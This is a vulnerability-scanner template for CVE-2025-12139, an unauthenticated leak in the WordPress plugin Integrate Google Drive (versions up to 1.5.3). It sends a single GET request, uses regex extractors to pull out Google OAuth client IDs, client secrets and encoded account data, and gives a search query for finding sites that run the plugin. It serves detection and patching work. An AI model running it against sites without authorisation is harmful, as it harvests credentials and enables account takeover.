id: CVE-2025-12139

info:
  name: Integrate Google Drive <= 1.5.3 - Information Disclosure
  author: Meysam Bal-afkan
  severity: high
  description: |
    File Manager for Google Drive - Integrate Google Drive with WordPress plugin for WordPress <= 1.5.3 contains sensitive information exposure caused by improper protection of the get_localize_data function, letting unauthenticated attackers extract Google OAuth credentials and account email addresses, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can extract sensitive Google OAuth credentials and email addresses, risking account compromise and data theft.
  remediation: |
    Update to a version later than 1.5.3 or the latest available version.
  reference:
    - https://wordpress.org/plugins/integrate-google-drive/
    - https://github.com/Galaxy-sc/CVE-2025-12139-WordPress-Integrate-Google-Drive-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-12139
    epss-score: 0.02162
    epss-percentile: 0.7985
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:"/wp-content/plugins/integrate-google-drive"
  tags: cve,cve2025,wordpress,wp-plugin,exposure,token,google-drive

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "var igd")'
          - 'regex("\"clientSecret\":\"[^\"]+\"", body) || regex("\"accounts\":\"[A-Za-z0-9+/=]{20,}\"", body)'
        condition: and

    extractors:
      - type: regex
        name: client-id
        group: 1
        regex:
          - '"clientID":"(.*?)"'

      - type: regex
        name: client-secret
        group: 1
        regex:
          - '"clientSecret":"(.*?)"'

      - type: regex
        name: accounts-base64
        group: 1
        regex:
          - '"accounts":"(.*?)"'
# digest: 4b0a00483046022100f7616faedcf3a394cc630c74160e7fbe914e9548480c6b12e64f9b7ecc1bc504022100fce4ce0cf2a2dea68bad708996f226971fe642bc56970dd2c21d2e8c2ddc05cc:922c64590222798bb761d5b6d8e72950